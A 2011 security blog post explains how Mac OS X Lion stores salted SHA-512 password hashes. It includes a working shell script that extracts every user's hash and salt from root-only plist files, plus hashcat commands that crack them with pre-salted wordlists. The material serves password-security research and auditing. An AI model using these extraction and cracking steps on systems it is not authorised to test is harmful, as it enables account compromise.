Cracking Mac OS Lion Passwords

Update Nov. 4, 2011: John’s jumbo version now has support for cracking these hashes too.  (Thanks solardiz for pointing this out!) Update Sept. 7, 2011: There is a better way to get at the hashes, have a look at the ”davegrohl” tool (here is a locally mirrored copy of version 1.0).  I’ll leave this post up since the explanation of how this works is still relevant. With the latest release of MacOS version 10.7, there are a lot of changes and the way that password hashes are stored are no exception.  Dave Dribin provided a fantastic evaluation of how passwords were stored in previous versions of the OS, and I won’t duplicate his work.  With Lion, Apple decided to switch to using 4-byte salted SHA2 hashes with 512 bits.  It’s a significant upgrade to how the hashes are stored, but still quite a ways short of the Linux implementation in crypt(3).  More about that later. Apple doesn’t make grabbing the hashes an intuitive process (I won’t say it isn’t easy, because it IS repeatable, and computers make repeatable processes easy.)  So how are they stored? In the “/var/db/dslocal/nodes/Default/users/” directory, which is only available to the root user, there are a number of “plist” files.  That’s where the hashes are stored.  But it isn’t so simple.  Extracting the hashes requires a bit of massaging.  Let’s go through the process for an example user, with the login name of “test”. If you weren’t already aware, there are several different valid plist file formats.  The two we are concerned with are binary and xml.  The plist file holding our hashes is in binary format and needs to be converted:
bash-3.2# file /var/db/dslocal/nodes/Default/users/test.plist
 /var/db/dslocal/nodes/Default/users/test.plist: Apple binary property list
 bash-3.2# cp /var/db/dslocal/nodes/Default/users/test.plist .
 bash-3.2# plutil -convert xml1 test.plist
Inside of that file, there is a key called ShadowHashData, which contains a text string. For example:
. . .
<key>ShadowHashData</key>
 <array>
 <data>
 YnBsaXN0MDDRAQJdU0FMVEVELVNIQTUxMk8QRLsEid97Bz5xXxn4P9UtCO3i
 QkNVRFD3FZ3WXBACmKWCBSW1UyD0gYJJG3K0xLpQ17DigcHZjgZZGl6cYWf0
 KnQvA1nHCAsZAAAAAAAAAQEAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAGA=
 </data>
 </array>
. . .
Interesting, we have a Base64 string inside of a XML data tag.  Decoding it provides us a new file:
bash-3.2# echo "                YnBsaXN0MDDRAQJdU0FMVEVELVNIQTUxMk8QRLsEid97Bz5xXxn4P9UtCO3i
 QkNVRFD3FZ3WXBACmKWCBSW1UyD0gYJJG3K0xLpQ17DigcHZjgZZGl6cYWf0
 KnQvA1nHCAsZAAAAAAAAAQEAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAGA=" | base64 -D > ShadowHashData
 bash-3.2# file ShadowHashData
 ShadowHashData: Apple binary property list
Okay, another binary plist file …
bash-3.2# plutil -convert xml1 ShadowHashData
 bash-3.2# more ShadowHashData
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 <plist version="1.0">
 <dict>
 <key>SALTED-SHA512</key>
 <data>
 uwSJ33sHPnFfGfg/1S0I7eJCQ1VEUPcVndZcEAKYpYIFJbVTIPSBgkkbcrTEulDXsOKB
 wdmOBlkaXpxhZ/QqdC8DWcc=
 </data>
 </dict>
 </plist>
With … another Base64 string inside.  The <key> value gives us a good idea of what is inside.  Let’s have a closer look:
bash-3.2# echo "uwSJ33sHPnFfGfg/1S0I7eJCQ1VEUPcVndZcEAKYpYIFJbVTIPSBgkkbcrTEulDXsOKB
 wdmOBlkaXpxhZ/QqdC8DWcc=" | base64 -D > hashfile
 bash-3.2# file hashfile
 hashfile: data
 bash-3.2# xxd hashfile
 0000000: bb04 89df 7b07 3e71 5f19 f83f d52d 08ed  ....{.>q_..?.-..
 0000010: e242 4355 4450 f715 9dd6 5c10 0298 a582  .BCUDP....\.....
 0000020: 0525 b553 20f4 8182 491b 72b4 c4ba 50d7  .%.S ...I.r...P.
 0000030: b0e2 81c1 d98e 0659 1a5e 9c61 67f4 2a74  .......Y.^.ag.*t
 0000040: 2f03 59c7                                /.Y.
The length looks about right for a password hash, let’s check it out.  A SHA512 hash should be 64 bytes long, so any excess should be the salt value:
bash-3.2# xxd -p -c 256 hashfile |wc -c
 137
Once you subtract the newline character, we have a probable SHA512 hash with an 4 byte salt (each byte is represented by two ascii characters.)  We can test this by manually creating the hash.  From previous OS versions we know a few things: the salt was prepended to the hash, the salt was applied in binary form, and only one round of encoding was performed. This gives us a good place to start guessing about the Lion implementation. First we’ll extract the salt value, then we’ll combine it with the known password (in this case, password) to create a SHA512 hash, then we can compare the two hash values (the calculated hash is in red, and the one we got from the plist file is in green.)
bash-3.2# xxd -p -c 256 hashfile | cut -c 1-8 | xxd -p -r > salt
 bash-3.2# echo -n "password" > password
 bash-3.2# cat salt password | shasum -b -a 512
 7b073e715f19f83fd52d08ede24243554450f7159dd65c100298a5820525b55320f48182491b72b4c4ba50d7b0e281c1d98e06591a5e9c6167f42a742f0359c7 *-
 bash-3.2# xxd -p -c 256 hashfile | cut -c 9-
 7b073e715f19f83fd52d08ede24243554450f7159dd65c100298a5820525b55320f48182491b72b4c4ba50d7b0e281c1d98e06591a5e9c6167f42a742f0359c7
Okay, that was successful.  Now we know how the hashes are built and stored, but what about cracking them?  Well at the time of writing this (September, 2011) I am not aware of any password crackers that were designed to work with what we have.  It probably isn’t very complex to modify one of the password crackers that supports SHA512.  I can show a dirty work-around that can get you by until either John or HashCat add support. Speaking of John, you might be thinking, “hey doesn’t John already support cracking salted SHA512 hashes on Linux?”  Yes, it does, but the implementation of the type $6$ hash in crypt(3) works vastly differently than the way that Apple is doing this.  The crypt(3) implementation is designed to be on par with the Blowfish hash function (aka bcrypt).  And as a result it has the ability to perform multiple hashing rounds.  Actually, it is mandatory, with the library defining a minimum of 1000 rounds and a default of 5000.  See Ulrich Drepper’s writeup for more information.  Anyways to shorten the explanation, because Apple’s hash doesn’t use extra encoding rounds, and the crypt(3) implementation does (which is how John performs the calculations and you are restricted to the confines of that library’s abilities) this method won’t work for cracking the Lion-generated password hash.  Also note that the salt used by crypt(3) is an ASCII string, and we are working with a binary salt.  That might not be too much of a problem as you could create a shadow file for John that contains binary salts, but it isn’t pretty (and neither is my temporary workaround.) Of course this also means that Apple’s implementation requires significantly less computing power to crack than the Linux implementation.  For now it’s harder, but once one of more powerful password cracking tools adds support it will be much faster (thousands of times faster.)  I could be entirely wrong here too, and there may already be a program that can work against these hashes (please send me an email or post a reply if you known of one that does or if the situation changes,) but my two go-to cracking tools (John the Ripper or one of the HashCat family) don’t currently do it. So, how can this limitation be worked around?  Well, HashCat does support cracking SHA-512 hashes, but the only options are either Linux crypt(3) style or plain unsalted SHA512.  Since we know that the salt is added to the beginning of the password before calculating the hash we can work around this by pre-salting the wordlists we use for cracking. (I said it wasn’t pretty, and it severely limits what transformations can be done, but for a simple password it will work.) First we will need to get both the hashes and the salts.  I created a quick shell script to assist with this:
#!/bin/sh
 if [ -f salts.bin ]
 then
 echo "Exiting: salts.bin already exists."
 exit
 fi
 if [ -f hashes.txt ]
 then
 echo "Exiting: hashes.txt already exists."
 exit
 fi
ls /var/db/dslocal/nodes/Default/users/*.plist |grep -v '/_' | while read line
 do
 user=`plutil -convert xml1  "$line" -o - |grep --after-context=2 '<key>name</key>' |grep string | cut -f 2 -d '>' | cut -f 1 -d '<'`
 hash=`plutil -convert xml1  "$line" -o - |grep --after-context=6 ShadowHashData |grep --after-context=3 '<data>' |grep -v data | base64 -D | plutil -convert xml1 - -o - | grep --after-context=2 '<data>' |grep -v data | base64 -D | xxd -p -c 133`
 salt=`/bin/echo -n $hash | cut -c 1-8 | xxd -r -p`
 hash2=`/bin/echo -n $hash | cut -c 9- `
 if [ `/bin/echo -n $hash | wc -c` -eq 136 ]
 then
 echo "Found hash for $user"
 echo $salt >> salts.bin
 echo $hash2 >> hashes.txt
 fi
 done
Here is what we end up with …
bash-3.2# sh lion-unshadow.sh
 Found hash for test
 bash-3.2# cat hashes.txt
 7b073e715f19f83fd52d08ede24243554450f7159dd65c100298a5820525b55320f48182491b72b4c4ba50d7b0e281c1d98e06591a5e9c6167f42a742f0359c7
 bash-3.2# xxd salts.bin
 0000000: bb 0489 df0a                 .....
Then we can copy them over to our backtrack linux box for cracking with hashcat:
 bash-3.2# scp hashes.txt salts.bin root@backtrack:
 root@backtrack's password:
 hashes.txt                                                                            100%  258     0.3KB/s   00:00
 salts.bin                                                                             100%   10     0.0KB/s   00:00
 bash-3.2# ssh root@backtrack
 root@backtrack's password:
 Linux backtrack 2.6.38 #1 SMP Thu Mar 17 22:59:29 EDT 2011 x86_64 GNU/Linux
 root@backtrack:~# cd /pentest/passwords/hashcat
 root@backtrack:/pentest/passwords/hashcat# more password.list
 password
 root@backtrack:/pentest/passwords/hashcat# # Now we prepend our salts to the password list . . .
 root@backtrack:/pentest/passwords/hashcat# cat ~/salts.bin |while read salt; do cat password.list |while read password; do echo $salt$password >> salted.txt; done; done
 root@backtrack:/pentest/passwords/hashcat# ./hashcat-cli64.bin -m 1700 ~/hashes.txt salted.txt
Initializing with 8 threads and 32mb segment-size...
NOTE: press enter for status-screen
Added hashes from file /root/hashes.txt: 2 (1 salts)
 7b073e715f19f83fd52d08ede24243554450f7159dd65c100298a5820525b55320f48182491b72b4c4ba50d7b0e281c1d98e06591a5e9c6167f42a742f0359c7:???password
 Wordlist..: salted.txt
 Index.....: 1/1 (segment), 2 (words), 26 (bytes)
 Recovered.: 1/2 hashes, 0/1 salts
 Speed/sec.: - plains, - words
 Progress..: 2/2 (100.00%)
 Running...: --:--:--:--
 Estimated.: --:--:--:--
 Started: Mon Sep  5 19:46:37 2011
 Stopped: Mon Sep  5 19:46:37 2011
 root@backtrack:/pentest/passwords/hashcat#
It isn’t pretty, but you can see we were able to guess the password, you just have to figure out where the binary cruft at the beginning ends and the password begins (easy in this case, you just get rid of the question marks.)